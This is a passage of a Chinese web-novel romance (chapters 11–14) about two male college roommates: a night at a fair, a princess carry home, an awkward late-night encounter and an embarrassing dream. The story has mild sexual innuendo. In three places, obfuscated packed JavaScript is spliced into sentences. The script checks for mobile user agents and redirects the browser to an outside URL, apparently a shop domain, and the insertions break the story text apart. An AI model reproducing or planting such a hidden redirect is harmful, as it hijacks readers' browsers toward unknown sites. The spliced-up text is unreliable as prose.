陆延青看着他,也跟着笑。 前面布偶部分过去之后,温述的手机里多了好几十条视频。 匆匆看了一遍,周围人忽然爆发起一阵尖叫,他茫然的抬起头,却发现那边开始了男模游场。 温述:“!!!” 哦莫,这是可以允许的嘛?!这不好吧! 心里这么想,手却一刻不停的拍,眼睛都快粘在别人的腹肌上了。 他们脸长得这么帅就算了吧,身材还这么好,离了这个游园会谁还把他当小孩! 他看得美滋滋的,有一个模子哥注意到他,走到他面前,握住他的手腕,十分之慷慨的摁在自己的胸肌上。 “不白来,不白来哈。”声音里满是大方,以及对自己肌肉的满意。 温述震惊了,他第一次来游园会玩,完全没想到还有这么一出,整个人愣在那里。 那模子哥也看出来他是第一次来,不知道有这环节,忍不住想逗他玩。 只是还没施展身手,忽然接收到旁边人的视线,扭过头,发现这位漂亮的小男生身旁的男人的目光,冷得他浑身一僵。 突然就降温了你说说。 他迅速收回自己的手,满脸歉意。 “抱歉抱歉,我不知道你有男朋友,对不起冒犯你了。” 11. 男朋友 听到“男朋友”三个字,温述感觉自己大脑的皮层被拉直伸展,仿佛漫步在挪威的森林里……什么鬼啊! 温述匪夷所思的回头看了一眼陆延青,又看了一眼模子哥,循环往复,不得其解。 他指了指陆延青,一脸的匪夷所思:“为什么会觉得他是我男朋友啊?” 这个人恐同啊喂!不要逼直男当Gay! 温述在心里为陆延青摇旗呐喊,他为陆延青鸣不平! 但此时模子哥正在忙着媚别人,没有听见他说的话,温述只好不尴不尬的对陆延青笑了一下,干巴巴的说:“那个,他也不是故意的,他不知道你是直的。” 陆延青颔首,关注点却在另外一个地方:“我是你男朋友很丢人?” “?” “不然为什么说那句话的时候,感觉你很嫌弃。”陆延青声音淡淡的,像是只是单纯的好奇。 也是,少爷嘛,估计也是第一次被嫌弃,想问清楚也很正常。 个鬼。 平心而论,如果陆延青当男朋友的话,肯定是非常有面子的,长得又帅,身材又好,虽然有的时候说话很气人,但大多数情况下还是很好相处的,而且就算真把人气着了,也会去哄。 更重要的是,陆延青出手很大方,他俩刚认识没多久就吃上了陆延青买的喜得闲,他甚至还带自己来游园会。要知道这个游园会的门票可是出了名的难抢,但他一拿就是两张。 抛开别的不谈,陆延青作为恋人的话肯定在及格线以上。 但这不代表他作为一个直男,问另外一个男人“我是你男朋友很丢人”这种话是正常的。 温述实在搞不懂这人的关注点为什么在这里,虽然他承认,他当时说那句话的时候,确实有那么一点点的嫌弃成分在里面,但是直接问出来是什么意思? 怎么,在胜负欲面前也可以先不恐同吗? 温述觉得有些不能理解,但也当然不能真说他就是嫌弃他,思考两秒,取了个折中的回答:“因为我是直男。” 非常完美的答案,以“直男”对应“直男”。 陆延青的表情有些意味深长,他看着温述点点头,拉长了音调:“这样啊……” 温述不懂他这是想干嘛,奇怪的看了他一眼。 明灭的灯光下,陆延青的面容并不是那么的清晰,但就是因为这点朦胧,给陆延青镀了层滤镜。 对视的那一瞬间,看见他眼底的笑意,温述竟然觉得,他好像什么都知道。 这个念头冒出来的一瞬间,温述打了个寒颤,他觉得自己可能是多心了,毕竟按照陆延青那个性格,要是真的什么都知道,早就对他冷脸了,怎么可能还会带他来游园会玩儿。 再者说,他们才刚认识一天,他什么也没干也没说,顶多就看了几眼男模,而且上手摸还是因为男模拉着他摸,不是他主动的,总不能因为这个就断定他是Gay了。 就算真的暴露了,也不可能是现在。 想到这,温述安心了不少,果然人还是不能自己吓自己,差点就被吓得无心看男模了。 念及男模,温述无心管再这个那个,一心只想看来之不易的男模游场。 他这一生行善积德,就是好点色怎么了! 这里的模子哥每个都很慷慨,练的身材也是一个比一个有料,温述一时之间被白花花的胸肌腹肌晃了满眼,看都看不过来。 在他摸了第不知道多少个模子哥的腹肌之后,身旁传来了一道幽幽的声音。 “喜欢?” “嗯?”温述的视线都没离开过那些模子哥。 “腹肌。” “喜欢啊。”温述不加思考,脱口而出。 身旁的人笑了声,只是那声笑……怎么听怎么不对劲。 温述终于后知后觉地反应过来,缓缓侧过头,对上陆延青的眼睛。 陆延青神色如常,语气平静:“实在喜欢,可以自己练一个。” 温述的脑袋顶上缓缓浮现出一个问号。 “我可以给你制定计划。”陆延青说着,脸上的表情逐渐认真,他好像真的打算这么做,“你如果要练的话,我把我常去的那家健身房的VIP给你。” “……给我等一下。”温述有些忍无可忍,“谁说我要练了?” 陆延青顿了顿,像是才想起来温述没说过自己要练,哦了一声:“忘了。” 温述觉得他简直莫名其妙,看了他好几眼。 看着看着,目光逐渐下移,落到腹部,想起在寝室里看到的风景,忽然觉得那些模子哥们的腹肌就不够看了。 跟这位比起来,小巫见大巫了。 想到这,温述凑过去,对他亲爱的室友招了招手,在对方低下头之后问道:“为什么你的胸肌能练那么大?” 陆延青听完,挑了下眉梢,垂眸看着自己身前的人,眯了眯眼:“想知道?” “嗯嗯。”温述头点得跟小鸡啄米似的,满脸写着求知若渴,本就松散的头发因为动作而散开。 陆延青伸手,将滑至发尾,摇摇欲坠的发绳拿了下来。随后将他的头发捋了捋,拢至一起,给他扎了个低马尾,漫不经心的说:“求我啊。” 这句话说完,头发也扎好了,陆延青将手收回来,笑眯眯的看着他。 温述慢半拍的抬手摸了摸自己后脑勺的马尾,表情呆愣愣的,像是没反应过来发生了什么。 几秒后,脸倏的爆红,看向陆延青的眼神里写满了不可思议。 陆延青没想到他反应这么大,觉得有些好笑:“我就只是帮你扎了个头发。” 温述当然知道他只是帮自己扎了个头发,但问题是,扎头发这件事本身就比较偏私密,他不习惯有人给他扎头发,就连林清都没有给他扎过。 但是他也知道,这话说出来很奇怪,还会显得他自己矫情,憋了半天,憋出来一句:“我和你说不清楚。” 陆延青就笑了,声音里夹杂着纵容:“行吧,说不清就不说了。” 温述撇过头去,不理他了。 经这么一遭,温述花了很久才堪堪让脸上的红消下去,此时游场活动已接近尾声,一部分人选择离开,一部分人则留下继续逛。 温述漫无目的的走着,陆延青就跟在他身后,他也不知道接下来要去哪,于是每路过一个摊子便停下来看一眼,以此来打发时间。 在温述打了第三个哈欠之后,陆延青终于开口道:“我有点困,今天就先到这里,下次再来。” 温述回头看了他一眼,然后点了点头:“好。” 其实他早就已经困的不行了,只是考虑到陆延青可能还想继续,所以就没开这个口,毕竟陆延青是出票的,得让他玩尽兴。 不过现在陆延青主动提出回去,那就没必要硬撑了。 两个人走出园区的时候,陆延青的车已经等在路边了,打开车门,进去坐好,车缓缓行驶,温述也缓缓闭上眼睛。 在他彻底睡着之后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“晚安。”陆延青听出来了温述在下逐客令,也看出来他有些不自在,便也没有自找没趣,转身走了。 听到陆延青关门的声音之后,温述猛地将脸埋进被子里,他根本不敢去想这个抱是怎么样的抱。 但可以肯定的是,不论是怎么样的抱都好羞耻! 开一个血气方刚,正当年少的男生,居然被另外一个男生给抱了回来,说出去会被笑话死的吧。 想到这,温述又忽然意识到另外一个问题,陆延青把他抱回来的路上,有遇上别人吗?有被看见吗?这个点虽然不早了,但也不是特别的晚,也不是遇不上有些跟他们一样在外面玩完回来的人。 他在床头柜上找到自己的手机,拿过来登上论坛,仔细看了看,没有人发关于他们两个的帖子,悬着的心放下了一些。 本来还在担心,如果遇上别人了,那人还把陆延青抱他的照片发到论坛上的话,该怎么解释,怎么收场。 但是现在来看没有,那应该也就意味着没有遇到别人,毕竟他们学校的同学的尿性,他还是很清楚的,典型的看热闹不嫌事大。 放下手机,安心去洗澡。 因为时间不早了,再加上今天真的有些累,所以他洗的很快,仅仅只是冲了一下。 洗完出来,关灯上床,将手机连接上充电线,打算熄屏睡觉,却瞧见林清给他发来了消息。 【清:温温我和你说你还是离那个姓陆的远一点吧。】 【清:我刚回寝室的时候碰到他了,你知道他在干什么吗?】 【清:他抱着个人,头发挺长的,偏清瘦,但是身形看着不太像女孩子,感觉十有八九是个男生。】 【清:之前还说自己恐同,今天自己就怀里抱了个男生】 【清:我感觉他不一定是直男了,你还是离他远一点吧。】 12. 帮帮我 看着这几条消息,温述大脑宕机了一下,将自己所知道的信息和林清发来的一一比对,然后得出一个结论。 林清看到的那个,陆延青怀里抱着的人,不出意外的话,是他。 哈哈。 温述笑不出来,他看着屏幕,不知道该怎么回。 告诉林清吗?他会把陆延青砍成臊子的吧…… 不告诉林清吗?可是如果之后他知道的话,会连带着自己和陆延青一起被砍成臊子的吧…… 思来想去,权衡利弊,最终温述闭了闭眼,视死如归的将消息发了过去。 【文书:陆延青抱着的那个人是我】 几乎是刚发过去的下一秒,林清的问号就发过来了,再下一秒,电话也打过来了。 铃声响起的那一瞬间,温述竟不太敢接听,但不接听会死得更惨,所以温述还是老老实实的接通了。 接通之后还没来得及放耳朵边,林清的声音就从听筒里传了出来。 “你说陆延青抱着的那个人是你?!” 声音之洪亮,语气之震惊,让温述觉得林清下一秒就能顺着网线从手机屏幕里钻出来掐他的脖子,索他的命。 “为什么他会抱你?为什么你同意他抱你?你们俩为什么大半夜一起回来?前半夜干什么去了?他不是直男吗抱你干什么?给我老老实实说清楚!” 夺命连环问,让温述都不知道该回答哪个好。 “我们俩今天约着一起去游园会玩了,晚上回来的时候坐的是他的车,我太困了所以在车上睡着了。” 温述乖乖的如实道来,“到学校的时候已经很晚了,他看我睡得熟就没叫我,把我抱回去了。” “?”林清听完后觉得简直不可思议,“意思是他因为不想叫你所以把你抱回了,是吧。” “嗯,他是这么和我说的。”温述想了想,还是为陆延青辩解了一句。 “清清,我觉得陆延青其实也不是很坏吧,我觉得我们之前可能都是偏见。” 林清简直要被气笑了,他恨不得现在就出现在温述身边给他两个脑瓜崩,恨铁不成钢。 “你还记得那家伙开学那天是怎么对你的吗?稍微对你好点儿你就原谅他了是吧,被骗了都还在帮别人数钱。” 提起这个,温述就没话说了,那这个没办法,陆延青真的干了,即使是现在他也不理解为什么陆延青这么执着于他后颈上的刺青。 “行了,不管怎么说还是最好离他远一点吧,一个恐同的直男都能公主抱另外一个男的了,说出去谁信,你小心一点。”说完,觉得他大概率是不会听的,又叹了口气,退而求其次,“算了,想也知道你不会听我的话,要接触也行,毕竟是室友,不可能一直没有交际。” “但是万一他要是欺负你了,第一时间告诉我,听到没有?” “听到啦,谢谢清清。”温述甜甜的应了声。 “就知道撒娇,我都愁死你了,你脾气这么软以后怎么办啊。”林清说着,叹了口气,“我帮你留意一下吧,我不可能一直在你身边,总要有个人爱你保护你,让你自己去找不知道得被骗多少次。” 温述不知道该说什么,他知道林清一向对于他有很强的保护欲,但没想到居然还包找对象,那范围很广泛了。 “不要了吧,我不想谈恋爱,至少大学期间不想谈。” 林清也没强求:“那也行,大学期间好好学习好好玩,不着急。” 两个人又稍微聊了一会儿,林清聊着聊着忽然想起来温述说他和陆延青一起去游园会的事,勒令温述如实招来。 温述就简单说了下,省去了一些林清听到会怒气飙升,破口大骂的情节,只说陆延青送他去上课,下课之后陆延青问他去不去游园会,他有两张票。 林清听着,迅速找到两个不对劲之处。 “他为什么要接送你上下课?又为什么要主动问你去不去游园会?我记得这个门票很难抢吧,他买了两张,原本的那张是打算和谁一起去的?以及。”说到这里,林清忍不住声音变大。 “所以你们之间到底发生了什么能让他接送你上下学?” 这个问题温述自己也很想知道,他尴尬的哈哈了一声,没有说话。 林清见他这样就知道他也不知道原因,想来想去,怎么想都是陆延青的错,就他心思最让人捉摸不透。 想到这,林清又想起来一件事,严肃道:“不行,你还是离他远一点吧,我感觉他可能已经不那么直了,反正我是没见过哪个恐同的直男公主抱另外一个男生的,他不是恐同吗,不膈应吗?” 本来温述还在乐呵呵的想着陆延青绝对是直的,而且还是直男中的直男,直男中的战斗机,毕竟他干的事情也就只有不知轻重的直男干得出来,结果下一秒就听见陆延青是公主抱他的,如遭雷劈。 “?”温述怀疑自己耳朵出问题,听错了,“你说,陆延青是把我公主抱回去的?” “对啊,你不知道?”林清有些意外。 “……我现在知道了。”温述面无表情的说,“嗯,时间也不早了,清清你先睡吧。” “我先睡,你呢?你干什么去?” “我去找人对峙。”说完,挂了电话,掀开被子下床,板着脸走出房间,来到陆延青的卧室门口,丝毫没有拖泥带水,抬手敲了敲门。 没有反应。 温述又敲了几下。 还是没有反应。 “睡着了吗难道,睡得这么沉?”温述小声嘀咕着,见房门没开,屋里也没动静,便也没有再坚持,决定今天晚上先放过陆延青,明天早上再找他算账。 结果刚准备抬脚走,下一秒门就被打开了。 陆延青露出半个身子,头发有些凌乱,额头上浸着细汗,薄唇微抿,眸子有些黑沉。 “什么事。”嗓音也有些哑。 温述见他这副样子,一下子没了兴师问罪的心思,关心道:“怎么了?一脸不舒服的样子,发烧了吗?刚烧起来?” “没发烧。”陆延青说着,闭了闭眼,“有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766933|190200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么事明天再说,我现在不方便。” “不方便,是哪里不舒服吗?很难受?需要我帮忙吗?”温述是真的有些担心,因为明明不久之前陆延青的精神还好好的,现在就一副很虚弱的样子,除了生病外,他想不出别的什么理由,“不然我带你去医院吧,你去穿个外套……” “温述。”陆延青打断了他的话,语气里听不出什么情绪,“什么都帮吗?” 温述后知后觉的察觉到陆延青的状态不太对劲,他觉得有点不太对劲,但处于同理心,他还是说道:“我能帮上的话,我一定帮。” 然后温述清晰的看见陆延青意味不明的笑了一声,不是平常人那种高兴的笑,而是扯了扯嘴角,连笑意都未达眼底。 “好啊,那你来帮我吧。”他说着,略微将门拉开了一些。 温述一边说一边打算进去:“我都说了我会帮你,还铺垫那么多干什……” 话说到一半,硬生生的被截住了,温述沉默的看着陆延青的小腹下方,站在门口的一步之外。 他机械的抬起头,僵着脸看向陆延青:“所以你刚刚是在……” “嗯,就是你想的那样。”陆延青十分之坦荡,“怎么这个表情,正常生理现象而已,你没有?” “你才没有!”温述瞬间炸毛,即使炸毛,耳后根也不忘起热,“那你叫我进去帮你,难道是帮你,帮你……” “不然?你不是说你要帮我?不是说什么都帮,只要你能帮得上?” “陆延青!”温述气得脸都红了,“你简直就是个臭流氓!” 说完头也不回的走了,连自己要质问他的事情都不想问了,只想赶紧逃离这个地方。 陆延青则是看着他几乎可以算是落荒而逃的背影,松了一口气,他关上门,背靠着门板,垂眸往下看。 本来就在关键时刻,温述却一直在外面敲门,又不想不见他,只能硬生生卡在这么个尴尬的地方开了门,本以为没什么事儿能速战速决,谁知道那人倔脾气犯了真是劝都劝不住,只能用这种比较下作的手段。 “这要是多来几次,早晚得阳.痿。”陆延青有些自嘲的想。 而另一边的温述,在回到寝室之后就火速钻进了被子里,满脑子都是自己刚才看到的东西。 虽然隔了个宽松的裤子,但是依旧可以看出来很可观,总之比温述想的正常人的要大。 什么意思嘛,长得帅身量高就算了,身材还练得那么好,这也就算了吧,为什么那种东西也这么出尘啊,这合理吗? 温述越想越觉得不公平,觉得女娲娘娘真的很偏心,完全忘记了他自己也是个被偏心的孩子。 “不行,不能因为这个就原谅了他的冒犯行为。”温述迅速清醒过来,想起刚才陆延青的那个态度和行为,越想越气。 “我这次绝对不会原谅他的,哪怕他身材好,本钱大,我也不会……” “……” 温述将脸埋进了枕头里,从脸红到了后颈。 他没救了。 13. 不讨厌 上江城的天气还是一如既往的难以预测,明明昨天还是个大晴天,天气预报也没说要下雨,这会儿窗外已经飘起了毛毛雨,还一副要越下越大的样子。 温述躺在床上,睁着眼睛,双目无神的看着天花板。 床头柜上的小闹钟显示此时是七点三十五分,没记错的话昨天晚上他睡下的时候是一点半,今天早上没有早八,按理来说不会在这个点醒。 温述也不想这个点醒,但是没办法,再不醒,他怕自己之后无颜面对陆延青。 是的,他昨天晚上睡觉的时候做梦了。 这对于他来说实在是个稀奇的事情,他很少会做梦,就算梦,大多也都是放大无数倍的好吃的。 昨天晚上的梦开始也是这样,他面前是一个巨大无比的蛋糕,还是蓝莓味儿的,反正周围也没人,梦里的他就这样毫无形象的直接张大嘴巴,吧唧一口咬了上去。 具体是什么口感他现在已经想不起来了,反正梦里的他吃得很开心,边吃还边哼着不知道什么名字的歌,可谓是相当的惬意。 转折点在于,他咽下嘴里的蛋糕,再次咬上去的时候,他听到了一声极小的闷哼,嘴巴里的口感也有点奇怪。 他松了口,左右看了看,确认是蛋糕之后,又一次咬了上去。 这次他清晰的听到了,确实有东西发出了声音,嘴里的口感也依旧怪异,反正不是蛋糕的口感,有点不好吃。 梦里的温述不知道怎么,倔脾气上来了,也不松口,就硬咬,几秒后,他被人提着后领子拎起来了。 面前的蛋糕里走出来了一个人。 没错,走出来了一个人,那人围着一条围裙,饱满硕大的胸肌和肱二头肌暴露在空气里,还沾染着奶油,十分的赏心悦目。 温述刚馋了那个大胸肌没几秒,忽然发现大胸肌的红豆处有一个牙印子。 “……” 他沉默了一下,然后小心翼翼的抬头往上看,希望大胸肌的主人不要因为这个揍他。 结果就这样猝不及防的看到了陆延青的脸。 很难说温述当时的感受,反正是瞪大了眼睛,满脑子“完蛋了”、“死定了”,他把陆延青咬成那个样子,陆延青肯定很生气,怎么办怎么办…… 没等他想出个办法出来,“陆延青”说话了,嗓音有些危险:“温述,你属狗的吗?下嘴挺狠啊,最好给我个合理的解释。” 温述不敢吭声,支支吾吾的说不出一个字。 “陆延青”也不着急,耐心等了他一会儿,然后在他终于想好措辞,开口的前一秒说道:“不解释,那受罚吧。” “?” 下一秒,画面一转,面前的蛋糕没了,场景也变了。灯光昏暗的房间里,陆延青身着剪裁得体的西装,坐在沙发上,穿的还是红底的皮鞋。 他不知道为什么坐在地上,还在想着陆延青的红底皮鞋骚包死了,忽然就被人拉着胳膊拽了起来,天旋地转间,他趴在了陆延青的腿上,想挣扎,却被制住了。 “五个巴掌,当作你咬我的赔偿。”陆延青的声音淡淡的,平静的像是在说今晚吃什么。 温述不可置信的扭过头,眼看着陆延青抬起了手,那个方向,那个目光锁定的地方…… 怎么是他的屁股啊啊啊啊啊! “!!!” 温述猛地睁开眼,呼吸急促,心有余悸的伸手摸了摸自己的屁股,还好,没有被打,是在做梦。 想起梦里发生的事情,温述觉得羞愤欲死,他现在想找块豆腐一头碰死,谁能告诉他他为什么做梦梦到陆延青啊!梦到就算了,为什么还是这种情节啊喂! 这合理吗?这合理吗! 这不合理,但事情已经发生了,还是温述自己梦到的,他想鸣冤都没地方鸣。 那个未落下的巴掌的威慑力实在是大,给他吓得不轻,缓了好久才缓过神,睡意也被吓没了,他怕睡着之后又做那种梦。 不管会不会梦到,反正短时间内他是不会睡觉的了。 昨晚睡得晚,早上醒的又早,此时他的精神有些不太好,眼睛底下挂着淡淡的青,他皮肤白,显得格外明显。 肚子发出一声悲鸣,他摸了摸自己的肚子,不太想动,但又实在是饿,哄了自己几分钟,终于艰难的下了床。 房间门一打开,就闻到了一阵香味,他的双眼瞬间就亮了,朝着小厨房走过去。 厨房里,陆延青正在煮面。 他今天穿了件黑衬衫,下搭深灰色裤子,指的一提的是,陆延青是那种典型的穿衣显瘦脱衣有肉,穿着衣服不会显得他太过壮硕,跟个猩猩似的。 想到这,温述笑了一声,不过很快他就笑不出来了,因为陆延青听到动静回过了头,然后他发现陆延青围了个围裙。 “……” 他现在看不得围裙这种东西,更看不得陆延青穿围裙。 陆延青看见他脸上那一言难尽的表情,低头看了眼自己,问道:“怎么这个表情?很奇怪?” 温述重重的点了点头,神色认真的说:“对,你不适合穿围裙,下次不要穿了。” “?”陆延青觉得有些好笑,“我就只是做饭的时候穿一下,怎么还扯上合适不合适了。” “就是不合适,做饭的时候穿也不合适。”温述已经因为那个梦开始胡言乱语了。 陆延青听完他的话则是挑了下眉,面对他的蛮不讲理也不生气,反而好脾气的问道:“那请问小温大人,围裙什么时候穿合适呢?” “……”温述脑子里又想起了那个梦。 忘了说了,梦里的陆延青,是只穿了个围裙的。 温述想起这个细节,一下子脸红到耳后根,他一下子不敢直视陆延青,仓皇的逃跑了,留下陆延青一个人愣在原地。 他看了眼自己身上的围裙,想起自己刚才说的话,想不通温述为什么会是那个反应。 温述逃回自己的房间,靠着门,他现在甚至不敢闭眼,一闭眼就是陆延青穿围裙的样子。 真就跟鬼一样阴魂不散啊! 他像是被抽走了灵魂一般,缓缓的朝着自己从床走去,在床尾站定,倒下,栽进被子里。 然后开始蛄蛹哀嚎。 救命啊!谁来救救他! 他第一次做梦梦到别人,甚至这个别人还是他的室友陆延青,他们俩昨天还一起出去玩,昨天晚上就梦到他啃陆延青的胸肌,以及……以及真空围裙,而陆延青是个铁直男。 这让他还怎么面对陆延青啊! 温述觉得自己真的没救了,他对不起陆延青,他是坏人。 就在他狠狠谴责自己的时候,房门被敲响了。 温述一下子就不动了,听了一会儿门外的动静,迅速抬起头,目光锁定门板。 门外的人见他没开门,又敲了一下门。 这场景,怎么看怎么像昨天晚上呢哈哈。 只不过昨天晚上是陆延青不方便,现在是他不方便,温述笑不出来。 本以为只要自己装死,陆延青就会自觉离开,但显然,他高估了陆延青的厚脸 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陆延青脸上表情淡淡的,像是只是想知道一个答案,答案是什么并不重要。 摸着良心说,温述其实不讨厌陆延青。 可能刚认识的那天会因为外界的一些传言,以及陆延青作为一个直男不知道轻重的行为而有些偏见,但经过昨天一整天的相处,温述知道陆延青其实是个好人,只是偶尔喜欢使点坏。 他说陆延青是“臭流氓”,是“笨蛋傻瓜”,也是因为他知道陆延青不会生气,所以才敢这么说,不然他早就闭嘴了。 陆延青对他也挺好的,是他自己做梦不敢面对陆延青,是他心虚,陆延青没做什么事。 温述再一次在心里狠狠谴责自己,他看着陆延青的眼睛,摇了摇头:“我不讨厌你。” “那为什么刚才那个表情,好像我是什么洪水猛兽。” “……那这个还是不能告诉你的。”陆延青敢问,温述不敢说,他看了眼陆延青的脸色,补了一句,“但是我不讨厌你。” “行。”陆延青笑了声,扬了扬自己手上的东西。 温述这才发现他手上端着一个碗,碗里是他刚才在厨房里煮的面,之前因为他门开得很小,所以没看见。 但温述的视线很快被另外一个地方吸引,陆延青的手,尤其是指骨那里,青了。 他瞬间就想起昨天陆延青将手垫在他脑袋后面的事,一下子有些愧疚。 陆延青注意到他的视线,也看了一眼自己的手,无所谓道:“不疼。” 说完,想到了什么,有些无奈:“我怎么又在重复这两个字,真的不疼。” 温述将碗接了过来,拉着他进了房间,将碗放下后,把他摁在椅子上,随后转身从抽屉里翻着什么。 没一会儿,温述手上多了个小喷雾。 他晃了晃,一边晃一边说:“这个是我之前练舞的时候受伤,妈妈给我买的,很有用。” 说完,微弯着腰,对着陆延青的手开始喷。 他喷得很细致,神色认真。陆延青任由他给自己摆弄,看着他的脸,想到这张脸刚才红透了的样子,有些想笑,随口说道。 “温述,我觉得我之前说的不对。” “嗯?什么?”温述分心应了一声。 “你刚才那样不像是讨厌我。”陆延青开玩笑般,故意逗他玩儿。 “更像是做梦梦到我,害羞了。” 14. 正常的 温述听到这几个字浑身一僵,随后抬眼,面无表情的看着陆延青。 陆延青丝毫不怀疑,眼前的人想把手上的药瓶子扔他脸上,为了自己的脸着想,他解释道:“开个玩笑,抱歉。” 温述不置可否,只是直起身子,轻轻颠了颠手上的药瓶,眯了眯眼,不疾不徐的说:“那我是不是也可以说,我昨天晚上去找你的时候,你正在干的事,是因为我?” 他说完,对着陆延青抬了抬下巴,眼里闪过狡黠的光。 哼哼,调戏人谁不会,只许你调戏我吗? 陆延青看着他,没说话,也没应声,似乎在沉吟思索着什么,就像…… 就像是在考虑,要不要把什么事情说出来一样。 温述脸上原本的洋洋得意,随着陆延青的沉默一点点消散,取而代之的是不安。 他在想,陆延青为什么不说话,为什么不否认,总不能真的被他说中了……吧? 不能吧,不会的吧,应该不会这么……这么抓马的吧…… 两人就这样对视且沉默,就在温述实在无法忍受这种氛围,打算岔开话题的时候,陆延青动了。 面前的男人视线意味不明的从他的唇上擦过,而后停在他开了一粒扣子的睡衣领口,露出来的肩颈白嫩细腻。 陆延青抬手,十分绅士且斯文的将他领口的扣子给系上,温热的手指不时碰到他皮肤,使得他微微颤栗。 他不习惯这样的接触,有些抗拒,忍不住挣了挣,被陆延青不咸不淡的看了一眼,老实了。 扣子系好,温述以为结束了,刚松了一口气,谁知陆延青突然将手摁在他的后腰,猛地用力,将他往他那边带,温述不得不伸出手抵在陆延青的胸口上,制止了两人拉进距离。 罪魁祸首看着他,面对他气愤的神情,只是说道:“你猜猜看。” “你觉得是因为你吗?” 温述几乎瞬间就反应过来他说的是什么意思,表情有一秒的空白,而后羞愤涌上心头。 他将自己从陆延青的桎梏下解救出来,往后退了几步,盯着陆延青,气得说不出话来。 让他猜是什么意思嘛!陆延青就是故意的! 还“你觉得是因为你吗”,明摆着故意给他下套,他说是,显得他自恋,说不是,又自己反驳自己的话,让他陷入了一个进退两难的地步。 陆延青存心的。 温述越发觉得自己给他喷的药还不如喷给小狗,至少小狗还会让他摸摸头,陆延青只会欺负他。 想到这,温述有些郁闷,看着陆延青的眼神里也带着些不满,什么意思嘛,只准陆延青调戏他是吗?强盗!白瞎他的药了! 他的视线越来越幽怨,而接收到他的视线的陆延青则是微挑了下眉,有些无奈,但没办法,人是自己惹炸毛的,还是得自己哄。 他伸出手,想拉一下温述的衣角,只是温述以为他又要将他拽过去,十分戒备的又往后退了几步,面露警惕。 如果他身上有小毛毛的话,此时应该全部竖起来了,进入一级战备状态。 陆延青见温述这样也没有强求,只是将手收回来,看着他的神情里充满了诚恳:“抱歉,开个玩笑,不是故意的。” 温述:“……”为什么他一点也没从这句话里听出陆延青的抱歉。 而且这句话不久之前才说过的吧,甚至连改动都没怎么改动!就是在敷衍我吧! 温述狠狠的瞪了一眼陆延青,但余光里又瞥见他那泛着青的手,一下子就没了火气。 看在陆延青手受伤都给自己煮面的份上,所以温述还是选择大度的原谅了这个冒犯的家伙。 反正他早就知道陆延青是这个性格不是吗,虽然和外界传言的有些区别,但经过这段时间的相处,他也能察觉到陆延青就是一个喜欢逗别人的人,腹黑的很,没有的事从他嘴里说出来也像有什么了一样。 “……” 哦,这次不算,这次温述承认,他确实是梦到陆延青了,但他绝对不会说出来的!绝对! 调整好自己的心态,温述将药放回抽屉里,再次转过身的时候,原本脸上那仿佛要给所有人两爪子的神情消失得无影无踪,和平常无二。 活像川剧变脸。 陆延青觉得很像,也有点可爱,想笑,但是又担心自己笑出来之后温述好不容易平息下去的情绪再次反扑回来,所以只能忍着,用尽了自己平生所有的毅力。 温述注意到他的异样,淡淡瞥了他一眼,他其实能稍微猜到陆延青在笑什么,无非是觉得他上一秒还在生气,下一秒就恢复正常很好玩罢了,还在可接受范围内,所以他并没有说什么。 只是在陆延青平复好情绪的之后淡淡道:“你崩人设了知道吗?” 陆延青第一次听到这种说法,发出了个单音节:“嗯?” 声音低沉,但尾音上扬,有点好听。 温述压下心底的涟漪,说道:“外面都说你不苟言笑,十分高冷不好接触,但是你自己数一数从开学那天到现在你笑了多少次了。” “不是不苟言笑吗,为什么笑那么多次。” 陆延青觉得能问出这种问题的温述实在是……有点呆,呆得可爱,更像是被气得没法子,开始胡说八道了。 “我只是不苟言笑,温述,我不是丧失了面部神经不会笑了。”陆延青说这话的时候,又觉得学校论坛上的都是些神人,给他扣的都是些什么帽子。 “论坛上说什么你都信,他们要是说我打人你是不是也信?” 温述看着他,面露奇怪:“可是,你如果打人的话,应该也不稀奇吧,少爷脾气坏一点也是能理解的。” 陆延青默了默:“少爷现在给你个脑瓜崩也挺合理的。” 他说完,真的给了温述一个脑瓜崩,只是这次明显比上次还收着力度了,所以温述没怎么感觉到疼。 “现在是法治社会温述,打人犯法。”陆延青被噎得没话说,见温述还有想说些什么的欲望,赶紧打断了他,生怕他又说什么惊世骇俗的东西出来气他,“行了,先吃面,有什么等会儿说。” 温述这才不情不愿的止了话头,他拉开旁边的椅子坐下,拿起筷子,卷了一筷子面进嘴巴里,嚼了嚼,有些惊讶:“好吃欸。” 陆延青觉得这三个字无比的动听,比先前说的那些话顺耳不少:“父母不经常在家,总要自己照顾自己。” “嗯?你们家没有保姆阿姨吗?”温述有些好奇,毕竟根据他看的一些霸道总裁的小说来看,富少小时候都是有个管家和保姆的,爸妈是常年不在家的,长大后是不近女色的,甚至还有胃病的,以及必定有一个医生朋友的。 想到这,温述又问道:“你有胃病吗?有学医的朋友吗?” 陆延青不懂他为什么突然问这些,但还是回答了:“有个管家奶奶,保姆有的时候做的饭我不喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766935|190200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢吃,所以就自己学了,没有胃病,有一个金融医学双修的朋友。” 说完,觉得自己这有问必答的样子有点好笑,顶了顶腮,说道:“你查户口啊?问这么清楚。” “没,就是好奇。”温述咽下嘴巴里的面条,想了想,“因为小说里都是这么写的。” 